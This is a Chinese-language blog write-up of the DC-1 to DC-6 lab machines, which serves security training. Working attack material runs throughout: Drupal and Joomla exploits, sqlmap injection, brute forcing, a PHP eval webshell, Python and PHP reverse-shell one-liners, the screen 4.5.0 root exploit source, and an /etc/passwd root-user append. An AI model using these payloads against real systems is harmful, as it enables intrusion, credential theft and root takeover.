DC靶机

发布时间 2023-08-15 00:28:19作者: admin_hello

DC_1 √ Drupal

依据后面得出:192.168.40.157

前置知识:IP的组成

IPv4 地址的典型格式是 A.B.C.D,其中 A、B、C 和 D 是范围在 0 到 255 之间的十进制数。每个单独的数字对应于地址的 8 位二进制字段,可以表示为 8 位的二进制数。
IPv4由网络部分和主机部分组成
A.B.C表示网络部分,用于标识网络;D表示主机部分,用于标识特定网络中的主机或设备
当多个IPv4地址的网络部分相同,表示它们在同一个网络中,可以直接进行通信而无需经过网关或路由器进行转发,也说明相应设备在同一个局域网中

1.nmap

先快速探测网段内存活主机:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24

nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24
解析:

-sP:使用Ping扫描模式,用于快速发现指定IP地址返回内活跃的主机
--min-hostgroup 1024 和 --min-parallelism 1024 是两个选项,用于指定扫描过程中的线程参数
--min-hostgroup 1024:指定同时扫描的最小主机组数
--min-parallelism 1024:指定最低的并行度,也就是同时进行的任务数最少是 1024 个
192.168.120.0/24 是一个 CIDR 格式的 IP 地址范围表示法,其中 /24 表示子网掩码为 24 位,即该 IP 地址范围包含 256 个连续的 IP 地址(从 192.168.120.0 到 192.168.40.255)

得到:

image-20230714172526633

得到了两个警告:但暂时不管

Warning: You specified a highly aggressive --min-hostgroup.
Warning: Your --min-parallelism option is pretty high! This can hurt reliability.

即:

您指定了非常激进的 --min-hostgroup 选项。

警告:您的 --min-parallelism 选项设置得很高!这可能会影响扫描的可靠性。

结合mac地址得到了ip:192.168.40.157

探测端口:nmap -A -p- -T4 192.168.40.157

nmap -A -p- -T4 192.168.40.157

选项 -A 表示启用全面扫描模式,对目标主机进行更深入的分析和探测。这个选项会执行多种扫描脚本和探测技术,包括操作系统识别、版本检测、脆弱性扫描等,以获取更详尽的主机信息。

选项 -p- 表示扫描目标主机的所有端口。默认情况下,Nmap 只会扫描一部分常见端口,但使用 -p- 可以指定扫描全部 65535 个端口,以便全面地探测主机上开放的服务和端口。

选项 -T4 指定了扫描的速度和时间延迟。-T4 表示采用较快的扫描速度,同时适度控制请求发送的间隔,以在短时间内完成扫描任务。

192.168.40.157 是目标主机的 IP 地址,表示要对该主机进行扫描.

得到开放的端口:

nmap -A -p- -T4 192.168.40.157

exec("tac /flag > 1.txt")

image-20230714194231831

访问:http://192.168.40.157:80

image-20230714194627051

那么Drupal是什么?搜索可得:

image-20230714194812943

Drupal是一个灵活的,基于LAMP技术栈的CMS(内容管理系统)

2.Wappalyzer

也可以通过Wappalyzer得到:

image-20230714194955466

3.msfconsole

尝试使用msfconsole寻找并利用与Drupal有关的漏洞:

执行命令:

msfconsole

image-20230714200718602

search Drupal(不区分大小写)

image-20230714200734585

先选取2018年的这个漏洞试试:

image-20230714195652132

利用漏洞:

use exploit/unix/webapp/drupal_drupalgeddon2

image-20230714200823618

查看使用方法:

show options

image-20230714200905811

设置靶机IP:

set RHOSTS 192.168.40.157

image-20230714201046883

开始攻击

run

执行Linux命令:

ls

读取flag:

cat flag1.txt

得到提示:

image-20230714201150373

config file,即配置文件

查找Drupal的默认路径:

image-20230714201643267

执行:得到flag2

image-20230714201741148

Brute force and dictionary attacks aren't the

  • only ways to gain access (and you WILL need access).
  • What can you do with these credentials?

翻译:

穷举攻击(Brute force)和字典攻击(Dictionary attack)并不是获取访问权限的唯一方式(而你确实需要这些权限)。使用这些凭据,你可以做什么呢?

再看文件,发现:

image-20230729210700391

有效的有:

database(数据库)为drupaldb
username(账号)为dbuser
password(密码)为R0ck3t

为了方便,先得到shell:

shell
python -c "import pty;pty.spawn('/bin/bash')"

image-20230729211325297

image-20230729211356390

4.MySQL信息泄露

根据上面给出的账号密码,尝试MySQL登录:

mysql -u dbuser -p

image-20230729211756076

成功登录,接下来就是查数据库:

show databases;
use drupaldb;
show tables;

image-20230729212111210

# 查看表的信息并纵向排列:
select * from users\G;

image-20230729212301687

猜测可能是经过哈希加密后的结果,下面寻找加密逻辑

cd /var/www
find . -name "*hash*" #  ./scripts/password-hash.sh

image-20230729213005675

查看加密逻辑:

image-20230729213054441

image-20230729213222563

emmm,确实跟哈希有关.

该文件后面也有进一步的解释,但是与其破解原来的密码,不如更改成一个我们已知的新的密码

5.修改MySQL密码

若密码为666,对应的哈希值为:

image-20230729213529500

password: 666           hash: $S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id

则更改密码:

update users set pass='$S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id'where name="admin";

建议将SQL语句完整正确的构造出来后再在终端输入

image-20230729214658869

成功修改

再次访问并登录管理员admin的账户:

image-20230729214812097

成功登录并得到flag3:

image-20230729214948193

image-20230729215003881

根据"passwd"可联想到/etc/passwd文件:

image-20230729215230872

猜测有个叫"flag4"的用户,查看:

image-20230729215312926

cd /home/flag4
ls
cat flag4.txt

image-20230729215659701

得到flag4.根据内容提示,要提权到root

查看默认以root权限执行的程序:

find / -perm -u=s -type f 2>/dev/null
# -perm 权限
# -u 用户 s表示特权
# -type 类型
# f 文件
# 2>/dev/null 不显示错误信息

image-20230729215935969

6.find提权

find / -exec "/bin/bash" -p \; # 以root权限运行/bin/bash文件

-p即--privileged以root权限执行

\;作用是告诉 find 命令要执行的命令已经完整结束,不再包含其他的参数或命令。这样可以确保命令的正确执行,并将 -exec 后面的命令应用到 find 命令找到的每个文件上

image-20230729220943945

最后得到flag5:

image-20230729221054574

7.知识点总结

# nmap
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24
nmap -A -p- -T4 192.168.40.157
# wappaylyzer 
插件

# msfconsole
msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options # 查看使用方法
set RHOSTS 192.168.40.157 # 设置靶机IP
run # 开始攻击
ls #执行Linux命令
shell
python -c "import pty;pty.spawn('/bin/bash')"

find / -name "set*"   # 寻找配置文件(有MySQL的用户信息)
sites/default/files   # Drupal的默认路径
show databases;       # 查看数据库内的信息
find / -name "*hash*" # 数据库密码的加密文件
# 更改密码
update users set pass='$S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id'where name="admin"; 

# 查看所有用户的家目录并用find提权
cat /etc/passwd
ls /home # 查看用户
find / -perm -u=s -type f 2>/dev/null # 查看默认以root权限执行的程序
find / -exec "/bin/bash" -p \; # 以root权限运行/bin/bash文件

DC_2 √ WordPress

依据后面得出:192.168.40.158

1.arp-scan

参考教程:https://blog.csdn.net/a310034188/article/details/121624538

信息搜集:

arp-scan -l

image-20230714204338361

得到DC_2的ip为:192.168.40.158

扫描端口

nmap -A -p1-65535 192.168.40.158
作用应该等同于DC_1的:nmap -A -p- -T4 192.168.40.157 (类似)

image-20230714204717991

可看到80端口-HTTP服务,7744-ssh端口(默认22)

尝试访问:

image-20230714205100775

就像博主一样访问失败

添加文件内容:

192.168.40.158 dc-2

C:/Windows/System32/drivers/etc/HOSTS

该文件是什么?

根据Windows系统规定,在进行DNS请求以前,Windows系统会先检查自己的Hosts文件中是否有这个地址映射关系,如果有则调用这个 IP地址映射,如果没有再向已知的DNS服务器提出域名解析。 也就是说Hosts的请求级别比DNS高。 c:WindowsSystem32driversetchosts 是域名解析文件

image-20230714205603441

保存:

image-20230714205840095

右键属性进行处理:

image-20230714210125883

之后再进行修改后,成功保存

经测试,对HOSTS文件属性的处理,没有影响到其他文件

image-20230714210638560

image-20230714210712750

2.cewl

提示:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

即要用cewl

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
cewl http://dc-2 -w passwd.txt

使用ip即cewl http://192.168.40.158 -w passwd.txt可能会失败,ip可能被重定向

得到字典:

image-20230714211252897

接下来寻找账号和登录框

3.dirb

使用dirb来挖目录:

dirb:有点像是dirsearch或御剑

image-20230714211726841

dirb http://dc-2u

image-20230714211933045

image-20230714212128830

4.wappalyzer

看CMS:

image-20230714212213436

发现是WordPress,那就使用wpscan攻击

5.wpscan

wpscan:https://www.freebuf.com/sectool/174663.html

image-20230714212324448

wpscan --url http://dc-2/ -e u 

得到3个用户:admin,jerry,tom

image-20230714212547330

填入到字典中:

image-20230714212721381

使用wpscan爆破账号密码:

wpscan --url http://dc-2 -U admin.txt -P passwd.txt

image-20230714213013277

得到有效的账号密码:

jerry - adipiscing
tom - parturient

登陆成功,但是一片空白:

image-20230714213149755

访问:

image-20230714213325266

image-20230714213416796

image-20230714213520824

回到刚才发现的7744的ssh端口,尝试连接:

ssh tome@192.168.40.158 -p 7744

image-20230714213935830

发现了flag3.txt和-rbash:

-rbash:

image-20230714214202332

查看可用命令:
compgen -c

image-20230714214651329

image-20230714214719072

或者直接用less flag3.txt也行:

image-20230714214849724

涉及到了su,那应该就是提权了

尝试回到上一级:失败

image-20230714215115948

//尝试使用vi提权:尝试失败
vi随便打开文件
再下面添加
:set shell=/bin/sh
:shell

然后发现这个方法貌似不太好用,于是找到了这篇文章:https://www.cnblogs.com/zhijiya/p/15142059.html

# 把/bin/bash给a变量,绕过rbash
BASH_CMDS[a]=/bin/bash
# 使用并添加环境变量,将/bin作为PATH环境变量导出
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

image-20230714222214270

难搞的是设置BASH_CMDS[a]=/bin/sh;a后无法进行删除操作,只能换行重新输

成功绕过-rbash

然后切换到jerry用户并进入jerry的家目录:

su jerry
cd jerry
ls
cat flag4.txt

image-20230714222509527

提示了git提权

先查看sudo配置文件

sudo -l : 发现git是root权限

image-20230714225123979

证明通过sudo执行git命令时不需要root的密码

进行到这一步的时候有点问题,看这篇文章:https://www.cnblogs.com/xzajyjs/p/15418258.html

sudo git help config

image-20230714225856082

image-20230714231038950

也可以通过那个界面直接切换到root用户

!sudo su

image-20230714231343137

小结:

# dirb使用
dirb http://dc-2  # 扫目录
# wpscan的使用
wpscan --url http://dc-2/ -e u  # 生成可用用户
wpscan --url http://dc-2 -U admin.txt -P passwd.txt
# 绕过-rbash相关命令:
BASH_CMDS[a]=/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
su jerry
# git提权相关命令:
sudo -l
sudo git help config
!sudo su
# 其他命令:
ssh tome@192.168.40.158 -p 7744  # ssh远程连接命令
compgen -c # 查看可用的命令

拓展

git提权:

sudo git help config 或sudo git -p help
!<想执行的命令>  # 这里把想执行的命令改为sudo su,su root等切换为root用户的命令即可
# 看其他文章时发现也可以 改为 !/bin/bash或! 'sh'

rbash拓展

这里以centos为例

https://cloud.tencent.com/developer/article/1680551

rbash的受限:

  1. 使用命令cd更改目录
  2. 设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
  3. 指定包含参数'/'的文件名
  4. 指定包含参数' - '的文件名
  5. 使用重定向输出'>', '>>', '> |', '<>' '>&','&>'

查看系统所有可用的shell:

cat /etc/shells
# 可见centos中是没有/bin/rbash和/usr/bin/rbash(而在ubuntu中有)

image-20230726215712054

查看默认的shell:echo $SHELL

image-20230726215749134

查看当前使用的shell:输入不存在的命令

image-20230726215940300

创建rbash的用户

由于没有rbash(rbash不能直接实现),所以在开始之前,需要创建软连接:

cd /bin
ln -s bash rbash  # rbash和bash是同个东西,只不过用不同名字启动时,效果不同,据此猜测rbash的全称为restricted bash(受限制的bash)
useradd -s /bin/rbash elapse # 创建用户:指定用/bin/rbash来启动 
su elapse # 切换到这个用户
cd /tmp # 收到报错信息
绕过rbash

共6种方法:

1

编辑器绕过rbash

输入vi,在末行模式中,输入:set shell=/bin/bash

image-20230726222253056

再在末行模式下输入:shell

image-20230726222330220

以DC-2靶机为例:可行

image-20230726224220892

ed编辑器绕过:可行

image-20230726224752924

尝试DC-2靶机:由于没有这个编辑器,所以失败

image-20230726224850799

编程语言绕过

python

python -c 'import os;os.system("/bin/bash");' # 注意不是用python3

image-20230726225243268

尝试DC-2:没有python环境,所以失败

image-20230726225406012

perl:可用

perl -e 'system("/bin/bash");'

image-20230726225637910

同样的,DC-2无perl环境,所以失败

反弹shell

python反弹

# kali:
nc -lvnp 2333
# 靶机:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20230726230124426

image-20230726230142023

php反弹:可行

php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

image-20230726233702035

image-20230726233721351

利用二进制文件

more:复现出问题

less:

less 1.txt(任意文件名)->出现末行模式
在末行模式下执行: !'bash'

image-20230726234727583

image-20230726234855911

image-20230726234911648

man

image-20230726235044067

image-20230726235116320

image-20230726235145009

可见只要能够出现末行模式,那就有提权的可能

expect绕过

yum install expect

# 依次执行:
expect
spawn sh
sh

image-20230727000253504

ssh

# 先设置centos的初始密码12345678
su root
passwd admin
# 在kali上执行:
ssh admin@192.168.40.161 -t "bash --noprofile"

image-20230727001334832

tom - parturient

尝试用DC-2:失败

image-20230727001723079

DC_3 √ Joomla!

依据后面得出:192.168.40.162,

1.nmap √

参考教程:https://blog.csdn.net/bwt_D/article/details/121291921

第一步还是扫描靶机IP:

nmap -sP 192.168.40.148/24

image-20230720221517936

利用VMware查看虚拟机的mac地址:

image-20230720221949319

根据这个和nmap -sP 192.168.40.148/24得到的结果:

靶机DC_3的IP: 192.168.40.162

进行完整扫描:

nmap -A 192.168.40.162 -p 1-65535

得到信息:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-20 22:22 CST # 1.启动时间
Nmap scan report for 192.168.40.162 # 2.扫描的对象IP
Host is up (0.0018s latency). # 3.主机存活,延迟为0.0018秒
Not shown: 65534 closed tcp ports (reset) # 4.65534个端口没有开启
PORT   STATE SERVICE VERSION 
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))  # 5.开启了80端口,使用的是2.4.18版本的Apache
|_http-title: Home  # 6.网页的标题
|_http-generator: Joomla! - Open Source Content Management  # 7.网页生成器-即使用的CMS为Joomla!
|_http-server-header: Apache/2.4.18 (Ubuntu)  # 8.重复第5点的部分内容
MAC Address: 00:0C:29:0D:C5:91 (VMware) # mac地址
Device type: general purpose   # 设备类型为通用设备
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4  # 操作系统CPE
OS details: Linux 3.2 - 4.9  # 操作系统用的Linux
Network Distance: 1 hop 

2.使用指纹识别whatweb

1

whatweb http://192.168.40.162

得到信息:

http://192.168.40.162 [200 OK] Apache[2.4.18], Bootstrap,  # 重复上条命令结果的第5第八的内容
Cookies[460ada11b31d3c5e5ca6e58fd5d3de27],  # cookies值
Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)],  # 用的是Ubuntu
HttpOnly[460ada11b31d3c5e5ca6e58fd5d3de27], IP[192.168.40.162], # 得知HttpOnly的值
JQuery, MetaGenerator[Joomla! - Open Source Content Management],  # 用的CMS-JQUery
PasswordField[password], Script[application/json], Title[Home] # 表单部分

3.1使用joomscan进行扫描 √

参考:https://www.freebuf.com/sectool/181440.html

JoomScan实现漏洞检测的自动化,加强了对Joomla项目的安全检测,

能够检测已知的漏洞,如错误配置漏洞和管理权限漏洞,能以HTML或文本格式导出扫描报告:

下载:https://www.cnblogs.com/1-Ry/p/15075074.html

sudo apt install joomscan

可设置cookie,url等信息

使用:

joomscan -u 192.168.40.162

image-20230721230847580

3.2 WebPathBrute.1.6.2扫描 √

参考:https://blog.csdn.net/a310034188/article/details/122709729

地址:7kbscan-WebPathBrute.1.6.2

扫描:

image-20230721090614808

3.3 继续操作

扫描后可进入网站后台:

http://192.168.40.162/administrator

image-20230720225956727

可知网站后台为joomla3.7.0模板

?这是怎么知道的?

4.1 扫描CMS漏洞-onlinetool ×

git clone https://github.com/iceyhexman/onlinetools.git
cd onlinetools
pip3 install -r requirements.txt
nohup python3 main.py &

在进行第3步的时候出现:

image-20230721230248890

4.2使用searchsploit查找漏洞 √

searchsploit joomla 3.7.0

image-20230720230302113

不过完整路径为:

/usr/share/exploitdb/exploits/php/webapps/42033.txt

/usr/share/exploitdb/exploits/php/webapps/43488.txt

关于前缀/usr/share/exploitdb/exploits:

image-20230720230705113

这里面存储了漏洞扫描报告和漏洞利用方法

查看:

image-20230720231032414

另一种用法:

5.1 利用searchsexploit攻击

searchsexploit joomla | grep 3.7

image-20230722215731321

cat文件:

cat /usr/share/exploitdb/exploits/php/remote/44227.php 
  # 注:这个44227.php文件就是一个脚本

所以将其重定向到本地指定php文件,然后访问:

image-20230722220217439

访问得到:

image-20230722220249628

输入URL并Exploit it:

image-20230722220353805

得到password:

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

5.1 sqlmap

由4.2可得payload:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

这里需要将localhost改为靶机IP:192.168.40.162

即:

# 查库
sqlmap -u "http://192.168.40.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

分析:

sqlmap -u "http://192.168.40.162/index.php
?option=com_fields
&view=fields&layout=modal
&list[fullordering]=updatexml" 
--risk=3  # 设置SQL注入检测的风险等级为3(最高级)
--level=5  # 设置SQL注入检测的深度为5(最高级)
--random-agent  # 使用随机生成的User-Agent
--dbs -p list[fullordering] # 指定要测的参数为list[fullordering]

得到:

会有几次询问,除了最后一次是n,其他都是Y

image-20230720232243164

列出joomladb库的所有表名:

# 查表
sqlmap -u "http://192.168.40.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]

image-20230720232722756

找到了表#_users

列出users表的字段类型:

https://www.cnblogs.com/1-Ry/p/15075074.html

# 查列
sqlmap -u "http://192.168.40.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

image-20230729224354802

6.john破解哈希密码(Mysql)

john工具破解密码:

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > hash.txt
john hash.txt --show

image-20230722220924645

得到密码为snoopy

7.1 写入木马

登录:http://192.168.40.162/administrator/

账号:admin
密码:snoopy

登录后点击:

image-20230722221534765

这里有两个模板

image-20230722221710423

image-20230722221736203

写入木马:

image-20230722221923412

由于不知道网站首页http://ip/index.php用的是哪个模板,所以这里在两个模板之中都写上一句话木马

image-20230803133223717

image-20230803133302756

用蚁剑连接:

这里靶机IP为192.168.40.172

image-20230803133133587

7.2 weevely

也可以使用weevely:

https://www.cnblogs.com/shadowink/p/14730761.html

# 生成后门木马
weevely generate test test.php  # 其中test为连接密码,test.php为路径

关于weevely:https://blog.csdn.net/qq_45521281/article/details/106587791

weevely是Linux中的菜刀

weevely http://192.168.40.162/templates/beez3/shell.php test

但是没明白http://192.168.40.162/templates/beez3/shell.php

得到了shell:

image-20230729230930153

8.提权-内核漏洞

接下来就是权限提升了

查看内核:

uname -a

image-20230729231222912

查看Ubuntu发行版本:

lsb_release -a

image-20230729231527850

得知是ubuntu 16.04

# 查找漏洞
searchsploit ubuntu 16.04 linux

image-20230729231155673

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

image-20230729231705538

下载exp到本地:

# kali
wget  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

image-20230729231955611

在39772.zip所在目录下开启HTTP服务:

php -S 0.0.0.0:8080

在靶机上下载kali上的这个39772.zip:

# 选择靶机的/var/www/html这个目录
wget http://192.168.40.148:8080/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
chmod 777 *
./compile.sh
./doubleput

最终结果:

image-20230803170415174

DC_4 √

依据后面得出:192.168.40.163

1.nmap

kali的IP:192.168.40.148

扫描同网段的其他IP:

nmap -sP 192.168.40.148/24

image-20230724092408288

扫描结果:

image-20230723215836508

先IP后mac地址

再通过查看DC_4的mac地址,可得DC_4靶机的IP:192.168.40.163

全盘扫描:

nmap -A 192.168.40.163 -p 1-65535 -oN nmap.A

-A:该选项表示使用 "Aggressive" 扫描模式,进行更深入的探测,并尝试进行操作系统和版本的识别。

-oN nmap.A:将扫描结果以正常格式输出到名为 nmap.A 的文件中。

image-20230723220254146

可得:1.22端口开启了SSH服务 2.80端口开放HTTP服务

根据第2条信息,访问可得:

image-20230723220545700

发现了一个登录框,然后bp弱口令爆破:

2.1bp

猜测账户名为admin,所以这里是爆破密码

image-20230723220952982

采用的字典是:https://wwwg.lanzouk.com/iOR4k13c1ufi

爆破得到密码是happy

登录后点击可得地址:http://192.168.40.163/command.php

image-20230723221442738

3.RCE

执行了命令,点击"RUN"并抓包可得:

image-20230723221527153

查看/etc/passwd:

image-20230723221702038

查看所有普通用户的用户名:

image-20230723223339823

发现了有3个普通用户:

charles、jim、sam

然后查看他们的家目录:

image-20230723224453861

在jim的家目录下发现了3个文件:backups,mbox,test.sh

在backups目录下发现了旧密码备份文件:old-passwords.bak

image-20230723225409157

image-20230723225500164

根据以上结果,制作密码字典与用户名字典:

image-20230723225905743

4.ssh爆破

利用两个字典对SSH(对应22端口)进行爆破:

 hydra -L user.dic -P passwd.bak ssh://192.168.40.163 -vV -o hydra.ssh

字段解析:

-L user.dic: 指定用户名列表

-P passwd.bak:指定密码列表

ssh://192.168.40.163:指定爆破得IP地址

-vV:设置 hydra 为详细模式,显示更多的输出信息

-o:hydra.ssh:将结果输出到名为hydra.ssh的文件中

查看hydra.ssh对象:

image-20230723230850606

用户名:jim 密码:jibril04

尝试使用ssh登录:

ssh jim@192.168.40.163 -p 22

image-20230723231441190

5./var/mail信息泄露

根据WP,查到了/var/mail:

image-20230723231821608

得到了另一组账号密码:

charles   
^xHhA&hvim0y

ssh登录:

ssh charles@192.168.40.163

image-20230723232120280

查看不需要密码就能使用root权限执行的命令:

sudo -l

image-20230723232253790

发现了teehee命令

teehee:https://www.cnblogs.com/zlgxzswjy/p/16118468.html

image-20230724091953347

即:

echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

再来一个su raaj即可提权成功

另外,尝试不用ssh charles@192.168.40.163,直接在jim用户下运行sudo -l:

image-20230724091605226

即jim用户在dc-4靶机上以超级用户权限运行 sudo 命令, jim 用户没有被授予 sudo 的执行权限,所以必须要用ssh charles@192.168.40.163登录charles用户

6.teehee提权

关于teehee:

teehee:https://www.cnblogs.com/zlgxzswjy/p/16118468.html

image-20230724091953347

即:

echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

再来一个su raaj即可提权成功

所以在passwd后面追加:

sudo teehee -a /etc/passwd
GGG::0:0:::/bin/bash

image-20230723232638293

也可直接使用:echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd && su raaj来提权

image-20230724093202329

7.小结:

重要步骤有:

# nmap扫描
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.163 -p 1-65535 -oN nmap.A

# bp爆破使用的字典:
C:\Users\Star\Desktop\漏洞(靶场)学习资源\字典合集\top1000.txt

# ssh爆破与登录
hydra -L user.dic -P passwd.bak ssh://192.168.40.163 -vV -o hydra.ssh
ssh jim@192.168.40.163 -p 22

# /var/mail信息泄露
cd /var/mail

# 查看无需密码便可执行的命令
sudo -l

# teehee提权
sudo teehee -a /etc/passwd
GGG::0:0:::/bin/bash
# 或直接:
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd && su raaj

DC-5 √

依据后面得出:192.168.40.164

192.168.40.170

参考:https://www.freebuf.com/sectool/259277.html

1.nmap

老规矩,nmap扫IP和端口:

# 扫IP:
nmap -sP 192.168.40.148/24
# 扫端口:
nmap -A 192.168.40.164 -p 0-65535

image-20230724232945631

image-20230724233033914

开放了两个端口:

1.80端口-http服务

2.111端口-rpcinfo服务

2.dirsearch

对80端口进行dirsearch扫描:

apt-get install dirsearch

dirsearch -u http://192.168.40.164/ -e*

image-20230724234012469

发现了几个可疑文件:contact.php,faq.php,footer.php,thankyou.php

再逐个访问这些文件,发现这几个文件可能有问题:

contact.php

image-20230724234935492

footer.php:页面的数字在刷新之后会变化:

image-20230724235141339

thankyou.php

image-20230724235239479

想来footer.php和thankyou.php应该有点关系,看起来可能是thanyou.php中包含了footer.php:

所以可能存在文件包含漏洞

3.爆破变量名与文件包含漏洞

爆破变量名:

image-20230724235934810

image-20230725000017866

image-20230725000033415

初步证明了存在文件包含漏洞,且变量名为file

再次验证:

image-20230725000236003

验证确实有文件包含漏洞

又由前面得知是nginx服务器,所以可以尝试包含日志access.log

访问日志主要记录客户端的请求。客户端向Nginx服务器发起的每一次请求都记录在这里。客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到。

位置:/var/log/nginx/access.log (Nginx服务器)

image-20230725000740122

由于原DC-5靶机出了意外,所以现在新开了一个DC-5靶机,靶机IP为192.168.40.170

写入一句话木马: (注意是直接在hackbar中修改)

image-20230803102606449

<?php @eval($_POST[1]);?>

再次包含日志:

image-20230803102729441

参考:https://blog.csdn.net/qq_43462485/article/details/109337431

蚁剑连接:http://192.168.40.170/thankyou.php?file=../../../../var/log/nginx/access.log

image-20230803102916641

使用蚁剑是为了方便上传文件,免得使用wget等命令

可以在蚁剑中打开虚拟终端:

image-20230803103326928

由于日志时常在更新,可能不稳定,所以再次上传文件:

由于在网站根目录无法实现上传或新建php文件的功能,所以选择/tmp目录

image-20230803104521786

image-20230803104835259

image-20230803104922256

再次连接:这下连接就变得比较稳定了(但注意/tmp目录下的文件按照规则会自动清理)

image-20230803104958452

4.提权

查找具有SUID权限的命令:

find / -perm /4000 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# 经测试,这3条语句均能用,且作用等效

image-20230725103455828

查找漏洞:

searchsploit screen 4.5.0

image-20230725103807630

完整路径:/usr/share/exploitdb/exploits/linux/local/41154.sh

这里参考:https://www.cnblogs.com/Lmg66/p/14038071.html

查看这个41154.sh文件:

image-20230725235141619

在利用EXP之前先通过蚁剑反弹shell:

image-20230803222435619

在kali上接收反弹的shell,并改为交换式shell:

image-20230803222532572

反弹shell后cd到靶机的/tmp目录,之后所有的操作都在这个目录下进行,不涉及靶机的其他目录

创建libhax.c:(通过蚁剑完成-直接编写或拖拽上传写好的libhax.c文件)

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

image-20230803222747761

# 在反弹的shell上编译并删除libhax.c
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

注意先后顺序

创建或上传rootshell.c文件-可通过蚁剑完成

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

image-20230803223352655

# 在反弹的shell上编译并删除rooshell.c
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

将剩余代码放入d.sh文件中:并在末行模式下输入:set ff=unix

# kali,这里选择/tmp目录
vim d.sh   
:set paste->回车
粘贴d.sh内容(见后)
:set ff=unix ->回车
:wq -> 回车
php -S 0.0.0.0:8081 # 以便执行后来的wget命令,注意这个命令要在d.sh所在目录下运行

image-20230803225157522

# d.sh的内容
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

通过wget或蚁剑将d.sh上传到靶机的/tmp目录下

# 反弹的shell上运行:
wget http://192.168.40.148:8081/d.sh 
chmod +x d.sh # 赋权
./d.sh  # 执行

然后提权成功,拿到flag

在反弹的shell上运行的命令:

image-20230803224453580

image-20230803225558081

image-20230803225626118

注意点:

1.反弹shell后编译,避免在kali上编译

2.避免在蚁剑的虚拟终端中编译

3.注意命令执行的顺序

DC-6 √ WordPress

依据后面得出:192.168.40.166

1.nma- 扫IP与端口

参考:https://blog.csdn.net/weixin_43583637/article/details/102785246

https://blog.csdn.net/xdbzdgx/article/details/121589649

查看kali的IP:

ip addr

image-20230727105454288

得知ip为192.168.40.148

扫IP(存活主机):

nmap -sP 192.168.40.148 # 结果为192.168.40.166

image-20230727105608521

扫端口:

nmap -A 192.168.40.166 -p 0-65535

image-20230727110306746

可以发现依旧是22端口的SSH服务,80端口的HTTP服务

访问80端口:http://192.168.40.166

image-20230727110550744

解决方法:

vim /etc/hosts
192.168.40.166 wordy

image-20230727112821127

/etc/hosts:

如果是windows系统下访问的话,修改C:\Windows\System32\drivers\etc\HOSTS文件

image-20230727112432853

感觉这个跟DC-2差不多

2.Wappalyzer-网站结构

看CMS:

image-20230728081049999

发现是WordPress.

此时就有两种方法,一种是DC-2的方法,用wpscan和其他方法得到账号密码

另一种是利用msf或searchexploit查找并利用相关漏洞

3.cewl

